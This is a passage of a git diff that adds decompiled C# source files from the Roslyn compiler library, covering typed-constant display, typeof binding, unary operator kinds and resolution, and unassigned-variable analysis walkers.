} + return false; + IL_0053: + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)type; + while ((object)namedTypeSymbol != null) + { + ImmutableArray.Enumerator enumerator = (namedTypeSymbol.IsTupleType ? namedTypeSymbol.TupleElementTypesWithAnnotations : namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics).GetEnumerator(); + while (enumerator.MoveNext()) + { + if (Contains(enumerator.Current.Type, typeParam)) + { + return true; + } + } + namedTypeSymbol = namedTypeSymbol.ContainingType; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/TypedConstantExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/TypedConstantExtensions.cs new file mode 100644 index 0000000..8bf2139 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/TypedConstantExtensions.cs @@ -0,0 +1,163 @@ +using System.Collections.Immutable; +using System.Linq; +using System.Text; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +public static class TypedConstantExtensions +{ + public static string ToCSharpString(this TypedConstant constant) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Invalid comparison between Unknown and I4 + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Invalid comparison between Unknown and I4 + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Invalid comparison between Unknown and I4 + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + if (((TypedConstant)(ref constant)).IsNull) + { + return "null"; + } + if ((int)((TypedConstant)(ref constant)).Kind == 4) + { + return "{" + string.Join(", ", ((TypedConstant)(ref constant)).Values.Select((TypedConstant v) => v.ToCSharpString())) + "}"; + } + if ((int)((TypedConstant)(ref constant)).Kind == 3 || (int)((TypedConstant)(ref constant)).TypeInternal.SpecialType == 1) + { + return "typeof(" + ((TypedConstant)(ref constant)).Value.ToString() + ")"; + } + if ((int)((TypedConstant)(ref constant)).Kind == 2) + { + return DisplayEnumConstant(constant); + } + return SymbolDisplay.FormatPrimitive(((TypedConstant)(ref constant)).ValueInternal, quoteStrings: true, useHexadecimalNumbers: false); + } + + private static string DisplayEnumConstant(TypedConstant constant) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + SpecialType specialType = ((ITypeSymbol)((INamedTypeSymbol)((TypedConstant)(ref constant)).Type).EnumUnderlyingType).SpecialType; + ConstantValue val = ConstantValue.Create(((TypedConstant)(ref constant)).ValueInternal, specialType); + string typeName = ((ISymbol)((TypedConstant)(ref constant)).Type).ToDisplayString(SymbolDisplayFormat.QualifiedNameOnlyFormat); + if (val.IsUnsigned) + { + return DisplayUnsignedEnumConstant(constant, specialType, val.UInt64Value, typeName); + } + return DisplaySignedEnumConstant(constant, specialType, val.Int64Value, typeName); + } + + private static string DisplayUnsignedEnumConstant(TypedConstant constant, SpecialType specialType, ulong constantToDecode, string typeName) + { + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + ulong num = 0uL; + PooledStringBuilder val = null; + StringBuilder stringBuilder = null; + ImmutableArray.Enumerator enumerator = ((INamespaceOrTypeSymbol)((TypedConstant)(ref constant)).Type).GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + ISymbol current = enumerator.Current; + IFieldSymbol val2 = (IFieldSymbol)(object)((current is IFieldSymbol) ? current : null); + if (val2 == null || !val2.HasConstantValue) + { + continue; + } + ulong uInt64Value = ConstantValue.Create(val2.ConstantValue, specialType).UInt64Value; + if (uInt64Value == constantToDecode) + { + if (val != null) + { + val.Free(); + } + return typeName + "." + ((ISymbol)val2).Name; + } + if ((uInt64Value & constantToDecode) == uInt64Value) + { + num |= uInt64Value; + if (stringBuilder == null) + { + val = PooledStringBuilder.GetInstance(); + stringBuilder = val.Builder; + } + else + { + stringBuilder.Append(" | "); + } + stringBuilder.Append(typeName); + stringBuilder.Append("."); + stringBuilder.Append(((ISymbol)val2).Name); + } + } + if (val != null) + { + if (num == constantToDecode) + { + return val.ToStringAndFree(); + } + val.Free(); + } + return ((TypedConstant)(ref constant)).ValueInternal.ToString(); + } + + private static string DisplaySignedEnumConstant(TypedConstant constant, SpecialType specialType, long constantToDecode, string typeName) + { + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + long num = 0L; + PooledStringBuilder val = null; + StringBuilder stringBuilder = null; + ImmutableArray.Enumerator enumerator = ((INamespaceOrTypeSymbol)((TypedConstant)(ref constant)).Type).GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + ISymbol current = enumerator.Current; + IFieldSymbol val2 = (IFieldSymbol)(object)((current is IFieldSymbol) ? current : null); + if (val2 == null || !val2.HasConstantValue) + { + continue; + } + long int64Value = ConstantValue.Create(val2.ConstantValue, specialType).Int64Value; + if (int64Value == constantToDecode) + { + if (val != null) + { + val.Free(); + } + return typeName + "." + ((ISymbol)val2).Name; + } + if ((int64Value & constantToDecode) == int64Value) + { + num |= int64Value; + if (stringBuilder == null) + { + val = PooledStringBuilder.GetInstance(); + stringBuilder = val.Builder; + } + else + { + stringBuilder.Append(" | "); + } + stringBuilder.Append(typeName); + stringBuilder.Append("."); + stringBuilder.Append(((ISymbol)val2).Name); + } + } + if (val != null) + { + if (num == constantToDecode) + { + return val.ToStringAndFree(); + } + val.Free(); + } + return ((TypedConstant)(ref constant)).ValueInternal.ToString(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/TypeofBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/TypeofBinder.cs new file mode 100644 index 0000000..311c8bc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/TypeofBinder.cs @@ -0,0 +1,95 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class TypeofBinder : Binder +{ + private class OpenTypeVisitor : CSharpSyntaxVisitor + { + private Dictionary _allowedMap; + + private bool _seenConstructed; + + public static void Visit(ExpressionSyntax typeSyntax, out Dictionary allowedMap) + { + OpenTypeVisitor openTypeVisitor = new OpenTypeVisitor(); + openTypeVisitor.Visit((SyntaxNode?)(object)typeSyntax); + allowedMap = openTypeVisitor._allowedMap; + } + + public override void VisitGenericName(GenericNameSyntax node) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + SeparatedSyntaxList arguments = node.TypeArgumentList.Arguments; + if (node.IsUnboundGenericName) + { + if (_allowedMap == null) + { + _allowedMap = new Dictionary(); + } + _allowedMap[node] = !_seenConstructed; + return; + } + _seenConstructed = true; + Enumerator enumerator = arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeSyntax current = enumerator.Current; + Visit((SyntaxNode?)(object)current); + } + } + + public override void VisitQualifiedName(QualifiedNameSyntax node) + { + bool seenConstructed = _seenConstructed; + Visit((SyntaxNode?)(object)node.Right); + bool seenConstructed2 = _seenConstructed; + Visit((SyntaxNode?)(object)node.Left); + if (!seenConstructed && !seenConstructed2 && _seenConstructed) + { + Visit((SyntaxNode?)(object)node.Right); + } + } + + public override void VisitAliasQualifiedName(AliasQualifiedNameSyntax node) + { + Visit((SyntaxNode?)(object)node.Name); + } + + public override void VisitArrayType(ArrayTypeSyntax node) + { + _seenConstructed = true; + Visit((SyntaxNode?)(object)node.ElementType); + } + + public override void VisitPointerType(PointerTypeSyntax node) + { + _seenConstructed = true; + Visit((SyntaxNode?)(object)node.ElementType); + } + + public override void VisitNullableType(NullableTypeSyntax node) + { + _seenConstructed = true; + Visit((SyntaxNode?)(object)node.ElementType); + } + } + + private readonly Dictionary _allowedMap; + + internal TypeofBinder(ExpressionSyntax typeExpression, Binder next) + : base(next, next.Flags | BinderFlags.UnsafeRegion) + { + OpenTypeVisitor.Visit(typeExpression, out _allowedMap); + } + + protected override bool IsUnboundTypeAllowed(GenericNameSyntax syntax) + { + bool value = default(bool); + return _allowedMap != null && _allowedMap.TryGetValue(syntax, out value) && value; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnaryOperatorAnalysisResult.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnaryOperatorAnalysisResult.cs new file mode 100644 index 0000000..884e44e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnaryOperatorAnalysisResult.cs @@ -0,0 +1,36 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct UnaryOperatorAnalysisResult +{ + public readonly UnaryOperatorSignature Signature; + + public readonly Conversion Conversion; + + public readonly OperatorAnalysisResultKind Kind; + + public bool IsValid => Kind == OperatorAnalysisResultKind.Applicable; + + public bool HasValue => Kind != OperatorAnalysisResultKind.Undefined; + + private UnaryOperatorAnalysisResult(OperatorAnalysisResultKind kind, UnaryOperatorSignature signature, Conversion conversion) + { + Kind = kind; + Signature = signature; + Conversion = conversion; + } + + public static UnaryOperatorAnalysisResult Applicable(UnaryOperatorSignature signature, Conversion conversion) + { + return new UnaryOperatorAnalysisResult(OperatorAnalysisResultKind.Applicable, signature, conversion); + } + + public static UnaryOperatorAnalysisResult Inapplicable(UnaryOperatorSignature signature, Conversion conversion) + { + return new UnaryOperatorAnalysisResult(OperatorAnalysisResultKind.Inapplicable, signature, conversion); + } + + public UnaryOperatorAnalysisResult Worse() + { + return new UnaryOperatorAnalysisResult(OperatorAnalysisResultKind.Worse, Signature, Conversion); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnaryOperatorKind.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnaryOperatorKind.cs new file mode 100644 index 0000000..259a419 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnaryOperatorKind.cs @@ -0,0 +1,258 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp; + +[Flags] +internal enum UnaryOperatorKind +{ + TypeMask = 0xFF, + SByte = 1, + Byte = 2, + Short = 3, + UShort = 4, + Int = 5, + UInt = 6, + Long = 7, + ULong = 8, + NInt = 9, + NUInt = 0xA, + Char = 0xB, + Float = 0xC, + Double = 0xD, + Decimal = 0xE, + Bool = 0xF, + _Object = 0x10, + _String = 0x11, + _StringAndObject = 0x12, + _ObjectAndString = 0x13, + Enum = 0x14, + _EnumAndUnderlying = 0x15, + _UnderlyingAndEnum = 0x16, + _Delegate = 0x17, + Pointer = 0x18, + _PointerAndInt = 0x19, + _PointerAndUInt = 0x20, + _PointerAndLong = 0x21, + _PointerAndULong = 0x22, + _IntAndPointer = 0x23, + _UIntAndPointer = 0x24, + _LongAndPointer = 0x25, + _ULongAndPointer = 0x26, + _NullableNull = 0x27, + UserDefined = 0x28, + Dynamic = 0x29, + _Utf8 = 0x2A, + OpMask = 0xFF00, + PostfixIncrement = 0x1000, + PostfixDecrement = 0x1100, + PrefixIncrement = 0x1200, + PrefixDecrement = 0x1300, + UnaryPlus = 0x1400, + UnaryMinus = 0x1500, + LogicalNegation = 0x1600, + BitwiseComplement = 0x1700, + True = 0x1800, + False = 0x1900, + Lifted = 0x10000, + _Logical = 0x20000, + Checked = 0x40000, + Error = 0, + SBytePostfixIncrement = 0x1001, + BytePostfixIncrement = 0x1002, + ShortPostfixIncrement = 0x1003, + UShortPostfixIncrement = 0x1004, + IntPostfixIncrement = 0x1005, + UIntPostfixIncrement = 0x1006, + LongPostfixIncrement = 0x1007, + ULongPostfixIncrement = 0x1008, + NIntPostfixIncrement = 0x1009, + NUIntPostfixIncrement = 0x100A, + CharPostfixIncrement = 0x100B, + FloatPostfixIncrement = 0x100C, + DoublePostfixIncrement = 0x100D, + DecimalPostfixIncrement = 0x100E, + EnumPostfixIncrement = 0x1014, + UserDefinedPostfixIncrement = 0x1028, + LiftedSBytePostfixIncrement = 0x11001, + LiftedBytePostfixIncrement = 0x11002, + LiftedShortPostfixIncrement = 0x11003, + LiftedUShortPostfixIncrement = 0x11004, + LiftedIntPostfixIncrement = 0x11005, + LiftedUIntPostfixIncrement = 0x11006, + LiftedLongPostfixIncrement = 0x11007, + LiftedULongPostfixIncrement = 0x11008, + LiftedNIntPostfixIncrement = 0x11009, + LiftedNUIntPostfixIncrement = 0x1100A, + LiftedCharPostfixIncrement = 0x1100B, + LiftedFloatPostfixIncrement = 0x1100C, + LiftedDoublePostfixIncrement = 0x1100D, + LiftedDecimalPostfixIncrement = 0x1100E, + LiftedEnumPostfixIncrement = 0x11014, + LiftedUserDefinedPostfixIncrement = 0x11028, + PointerPostfixIncrement = 0x1018, + DynamicPostfixIncrement = 0x1029, + SBytePrefixIncrement = 0x1201, + BytePrefixIncrement = 0x1202, + ShortPrefixIncrement = 0x1203, + UShortPrefixIncrement = 0x1204, + IntPrefixIncrement = 0x1205, + UIntPrefixIncrement = 0x1206, + LongPrefixIncrement = 0x1207, + ULongPrefixIncrement = 0x1208, + NIntPrefixIncrement = 0x1209, + NUIntPrefixIncrement = 0x120A, + CharPrefixIncrement = 0x120B, + FloatPrefixIncrement = 0x120C, + DoublePrefixIncrement = 0x120D, + DecimalPrefixIncrement = 0x120E, + EnumPrefixIncrement = 0x1214, + UserDefinedPrefixIncrement = 0x1228, + LiftedSBytePrefixIncrement = 0x11201, + LiftedBytePrefixIncrement = 0x11202, + LiftedShortPrefixIncrement = 0x11203, + LiftedUShortPrefixIncrement = 0x11204, + LiftedIntPrefixIncrement = 0x11205, + LiftedUIntPrefixIncrement = 0x11206, + LiftedLongPrefixIncrement = 0x11207, + LiftedULongPrefixIncrement = 0x11208, + LiftedNIntPrefixIncrement = 0x11209, + LiftedNUIntPrefixIncrement = 0x1120A, + LiftedCharPrefixIncrement = 0x1120B, + LiftedFloatPrefixIncrement = 0x1120C, + LiftedDoublePrefixIncrement = 0x1120D, + LiftedDecimalPrefixIncrement = 0x1120E, + LiftedEnumPrefixIncrement = 0x11214, + LiftedUserDefinedPrefixIncrement = 0x11228, + PointerPrefixIncrement = 0x1218, + DynamicPrefixIncrement = 0x1229, + SBytePostfixDecrement = 0x1101, + BytePostfixDecrement = 0x1102, + ShortPostfixDecrement = 0x1103, + UShortPostfixDecrement = 0x1104, + IntPostfixDecrement = 0x1105, + UIntPostfixDecrement = 0x1106, + LongPostfixDecrement = 0x1107, + ULongPostfixDecrement = 0x1108, + NIntPostfixDecrement = 0x1109, + NUIntPostfixDecrement = 0x110A, + CharPostfixDecrement = 0x110B, + FloatPostfixDecrement = 0x110C, + DoublePostfixDecrement = 0x110D, + DecimalPostfixDecrement = 0x110E, + EnumPostfixDecrement = 0x1114, + UserDefinedPostfixDecrement = 0x1128, + LiftedSBytePostfixDecrement = 0x11101, + LiftedBytePostfixDecrement = 0x11102, + LiftedShortPostfixDecrement = 0x11103, + LiftedUShortPostfixDecrement = 0x11104, + LiftedIntPostfixDecrement = 0x11105, + LiftedUIntPostfixDecrement = 0x11106, + LiftedLongPostfixDecrement = 0x11107, + LiftedULongPostfixDecrement = 0x11108, + LiftedNIntPostfixDecrement = 0x11109, + LiftedNUIntPostfixDecrement = 0x1110A, + LiftedCharPostfixDecrement = 0x1110B, + LiftedFloatPostfixDecrement = 0x1110C, + LiftedDoublePostfixDecrement = 0x1110D, + LiftedDecimalPostfixDecrement = 0x1110E, + LiftedEnumPostfixDecrement = 0x11114, + LiftedUserDefinedPostfixDecrement = 0x11128, + PointerPostfixDecrement = 0x1118, + DynamicPostfixDecrement = 0x1129, + SBytePrefixDecrement = 0x1301, + BytePrefixDecrement = 0x1302, + ShortPrefixDecrement = 0x1303, + UShortPrefixDecrement = 0x1304, + IntPrefixDecrement = 0x1305, + UIntPrefixDecrement = 0x1306, + LongPrefixDecrement = 0x1307, + ULongPrefixDecrement = 0x1308, + NIntPrefixDecrement = 0x1309, + NUIntPrefixDecrement = 0x130A, + CharPrefixDecrement = 0x130B, + FloatPrefixDecrement = 0x130C, + DoublePrefixDecrement = 0x130D, + DecimalPrefixDecrement = 0x130E, + EnumPrefixDecrement = 0x1314, + UserDefinedPrefixDecrement = 0x1328, + LiftedSBytePrefixDecrement = 0x11301, + LiftedBytePrefixDecrement = 0x11302, + LiftedShortPrefixDecrement = 0x11303, + LiftedUShortPrefixDecrement = 0x11304, + LiftedIntPrefixDecrement = 0x11305, + LiftedUIntPrefixDecrement = 0x11306, + LiftedLongPrefixDecrement = 0x11307, + LiftedULongPrefixDecrement = 0x11308, + LiftedNIntPrefixDecrement = 0x11309, + LiftedNUIntPrefixDecrement = 0x1130A, + LiftedCharPrefixDecrement = 0x1130B, + LiftedFloatPrefixDecrement = 0x1130C, + LiftedDoublePrefixDecrement = 0x1130D, + LiftedDecimalPrefixDecrement = 0x1130E, + LiftedEnumPrefixDecrement = 0x11314, + LiftedUserDefinedPrefixDecrement = 0x11328, + PointerPrefixDecrement = 0x1318, + DynamicPrefixDecrement = 0x1329, + IntUnaryPlus = 0x1405, + UIntUnaryPlus = 0x1406, + LongUnaryPlus = 0x1407, + ULongUnaryPlus = 0x1408, + NIntUnaryPlus = 0x1409, + NUIntUnaryPlus = 0x140A, + FloatUnaryPlus = 0x140C, + DoubleUnaryPlus = 0x140D, + DecimalUnaryPlus = 0x140E, + UserDefinedUnaryPlus = 0x1428, + LiftedIntUnaryPlus = 0x11405, + LiftedUIntUnaryPlus = 0x11406, + LiftedLongUnaryPlus = 0x11407, + LiftedULongUnaryPlus = 0x11408, + LiftedNIntUnaryPlus = 0x11409, + LiftedNUIntUnaryPlus = 0x1140A, + LiftedFloatUnaryPlus = 0x1140C, + LiftedDoubleUnaryPlus = 0x1140D, + LiftedDecimalUnaryPlus = 0x1140E, + LiftedUserDefinedUnaryPlus = 0x11428, + DynamicUnaryPlus = 0x1429, + IntUnaryMinus = 0x1505, + LongUnaryMinus = 0x1507, + NIntUnaryMinus = 0x1509, + FloatUnaryMinus = 0x150C, + DoubleUnaryMinus = 0x150D, + DecimalUnaryMinus = 0x150E, + UserDefinedUnaryMinus = 0x1528, + LiftedIntUnaryMinus = 0x11505, + LiftedLongUnaryMinus = 0x11507, + LiftedNIntUnaryMinus = 0x11509, + LiftedFloatUnaryMinus = 0x1150C, + LiftedDoubleUnaryMinus = 0x1150D, + LiftedDecimalUnaryMinus = 0x1150E, + LiftedUserDefinedUnaryMinus = 0x11528, + DynamicUnaryMinus = 0x1529, + BoolLogicalNegation = 0x160F, + UserDefinedLogicalNegation = 0x1628, + LiftedBoolLogicalNegation = 0x1160F, + LiftedUserDefinedLogicalNegation = 0x11628, + DynamicLogicalNegation = 0x1629, + IntBitwiseComplement = 0x1705, + UIntBitwiseComplement = 0x1706, + LongBitwiseComplement = 0x1707, + ULongBitwiseComplement = 0x1708, + NIntBitwiseComplement = 0x1709, + NUIntBitwiseComplement = 0x170A, + EnumBitwiseComplement = 0x1714, + UserDefinedBitwiseComplement = 0x1728, + LiftedIntBitwiseComplement = 0x11705, + LiftedUIntBitwiseComplement = 0x11706, + LiftedLongBitwiseComplement = 0x11707, + LiftedULongBitwiseComplement = 0x11708, + LiftedNIntBitwiseComplement = 0x11709, + LiftedNUIntBitwiseComplement = 0x1170A, + LiftedEnumBitwiseComplement = 0x11714, + LiftedUserDefinedBitwiseComplement = 0x11728, + DynamicBitwiseComplement = 0x1729, + UserDefinedTrue = 0x1828, + UserDefinedFalse = 0x1928, + DynamicTrue = 0x1829, + DynamicFalse = 0x1929 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnaryOperatorOverloadResolutionResult.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnaryOperatorOverloadResolutionResult.cs new file mode 100644 index 0000000..1be9f39 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnaryOperatorOverloadResolutionResult.cs @@ -0,0 +1,90 @@ +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class UnaryOperatorOverloadResolutionResult +{ + public readonly ArrayBuilder Results; + + public static readonly ObjectPool Pool = CreatePool(); + + public UnaryOperatorAnalysisResult Best + { + get + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + UnaryOperatorAnalysisResult result = default(UnaryOperatorAnalysisResult); + Enumerator enumerator = Results.GetEnumerator(); + while (enumerator.MoveNext()) + { + UnaryOperatorAnalysisResult current = enumerator.Current; + if (current.IsValid) + { + if (result.IsValid) + { + return default(UnaryOperatorAnalysisResult); + } + result = current; + } + } + return result; + } + } + + public UnaryOperatorOverloadResolutionResult() + { + Results = new ArrayBuilder(10); + } + + public bool AnyValid() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = Results.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.IsValid) + { + return true; + } + } + return false; + } + + public bool SingleValid() + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + bool flag = false; + Enumerator enumerator = Results.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.IsValid) + { + if (flag) + { + return false; + } + flag = true; + } + } + return flag; + } + + public static UnaryOperatorOverloadResolutionResult GetInstance() + { + return Pool.Allocate(); + } + + public void Free() + { + Results.Clear(); + Pool.Free(this); + } + + private static ObjectPool CreatePool() + { + return new ObjectPool((Factory)(() => new UnaryOperatorOverloadResolutionResult()), 10, true); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnaryOperatorSignature.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnaryOperatorSignature.cs new file mode 100644 index 0000000..b7d7821 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnaryOperatorSignature.cs @@ -0,0 +1,56 @@ +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal struct UnaryOperatorSignature +{ + public static UnaryOperatorSignature Error; + + public readonly MethodSymbol Method; + + public readonly TypeSymbol ConstrainedToTypeOpt; + + public readonly TypeSymbol OperandType; + + public readonly TypeSymbol ReturnType; + + public readonly UnaryOperatorKind Kind; + + public RefKind RefKind + { + get + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if ((object)Method == null || Method.ParameterRefKinds.IsDefaultOrEmpty) + { + return (RefKind)0; + } + return Method.ParameterRefKinds.Single(); + } + } + + public UnaryOperatorSignature(UnaryOperatorKind kind, TypeSymbol operandType, TypeSymbol returnType) + { + Kind = kind; + OperandType = operandType; + ReturnType = returnType; + Method = null; + ConstrainedToTypeOpt = null; + } + + public UnaryOperatorSignature(UnaryOperatorKind kind, TypeSymbol operandType, TypeSymbol returnType, MethodSymbol method, TypeSymbol constrainedToTypeOpt) + { + Kind = kind; + OperandType = operandType; + ReturnType = returnType; + Method = method; + ConstrainedToTypeOpt = constrainedToTypeOpt; + } + + public override string ToString() + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + return string.Format("kind: {0} operandType: {1} operandRefKind: {2} return: {3}", new object[4] { Kind, OperandType, RefKind, ReturnType }); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnassignedAddressTakenVariablesWalker.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnassignedAddressTakenVariablesWalker.cs new file mode 100644 index 0000000..559ea23 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnassignedAddressTakenVariablesWalker.cs @@ -0,0 +1,48 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class UnassignedAddressTakenVariablesWalker : DefiniteAssignmentPass +{ + private readonly HashSet _result = new HashSet(); + + private UnassignedAddressTakenVariablesWalker(CSharpCompilation compilation, Symbol member, BoundNode node) + : base(compilation, member, node, strictAnalysis: true) + { + } + + internal static HashSet Analyze(CSharpCompilation compilation, Symbol member, BoundNode node) + { + UnassignedAddressTakenVariablesWalker unassignedAddressTakenVariablesWalker = new UnassignedAddressTakenVariablesWalker(compilation, member, node); + try + { + bool badRegion = false; + return unassignedAddressTakenVariablesWalker.Analyze(ref badRegion); + } + finally + { + unassignedAddressTakenVariablesWalker.Free(); + } + } + + private HashSet Analyze(ref bool badRegion) + { + Analyze(ref badRegion, null); + return _result; + } + + protected override void ReportUnassigned(Symbol symbol, SyntaxNode node, int slot, bool skipIfUseBeforeDeclaration) + { + if (node.Parent.Kind() == SyntaxKind.AddressOfExpression) + { + _result.Add((PrefixUnaryExpressionSyntax)(object)node.Parent); + } + } + + public override BoundNode VisitAddressOfOperator(BoundAddressOfOperator node) + { + VisitRvalue(node.Operand); + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnassignedVariablesWalker.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnassignedVariablesWalker.cs new file mode 100644 index 0000000..843c2e9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnassignedVariablesWalker.cs @@ -0,0 +1,58 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class UnassignedVariablesWalker : DefiniteAssignmentPass +{ + private readonly HashSet _result = new HashSet(); + + private UnassignedVariablesWalker(CSharpCompilation compilation, Symbol member, BoundNode node) + : base(compilation, member, node, EmptyStructTypeCache.CreateNeverEmpty()) + { + } + + internal static HashSet Analyze(CSharpCompilation compilation, Symbol member, BoundNode node, bool convertInsufficientExecutionStackExceptionToCancelledByStackGuardException = false) + { + UnassignedVariablesWalker unassignedVariablesWalker = new UnassignedVariablesWalker(compilation, member, node); + if (convertInsufficientExecutionStackExceptionToCancelledByStackGuardException) + { + unassignedVariablesWalker._convertInsufficientExecutionStackExceptionToCancelledByStackGuardException = true; + } + try + { + bool badRegion = false; + HashSet hashSet = unassignedVariablesWalker.Analyze(ref badRegion); + return badRegion ? new HashSet() : hashSet; + } + finally + { + unassignedVariablesWalker.Free(); + } + } + + private HashSet Analyze(ref bool badRegion) + { + Analyze(ref badRegion, null); + return _result; + } + + protected override void ReportUnassigned(Symbol symbol, SyntaxNode node, int slot, bool skipIfUseBeforeDeclaration) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)symbol.Kind != 6) + { + _result.Add(symbol); + return; + } + _result.Add(GetNonMemberSymbol(slot)); + base.ReportUnassigned(symbol, node, slot, skipIfUseBeforeDeclaration); + } + + protected override void ReportUnassignedOutParameter(ParameterSymbol parameter, SyntaxNode node, Location location) + { + _result.Add(parameter); + base.ReportUnassignedOutParameter(parameter, node, location); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnboundLambda.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnboundLambda.cs new file mode 100644 index 0000000..b2a4e24 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/UnboundLambda.cs @@ -0,0 +1,210 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class UnboundLambda : BoundExpression +{ + private readonly NullableWalker.VariableState? _nullableState; + + public override object Display => MessageID.Localize(); + + public MessageID MessageID => Data.MessageID; + + public bool HasSignature => Data.HasSignature; + + public bool HasExplicitlyTypedParameterList => Data.HasExplicitlyTypedParameterList; + + public int ParameterCount => Data.ParameterCount; + + public bool IsAsync => Data.IsAsync; + + public bool IsStatic => Data.IsStatic; + + public bool HasParamsArray => Data.HasParamsArray; + + public new TypeSymbol? Type => base.Type; + + public UnboundLambdaState Data { get; } + + public FunctionTypeSymbol? FunctionType { get; } + + public bool WithDependencies { get; } + + public static UnboundLambda Create(CSharpSyntaxNode syntax, Binder binder, bool withDependencies, RefKind returnRefKind, TypeWithAnnotations returnType, ImmutableArray> parameterAttributes, 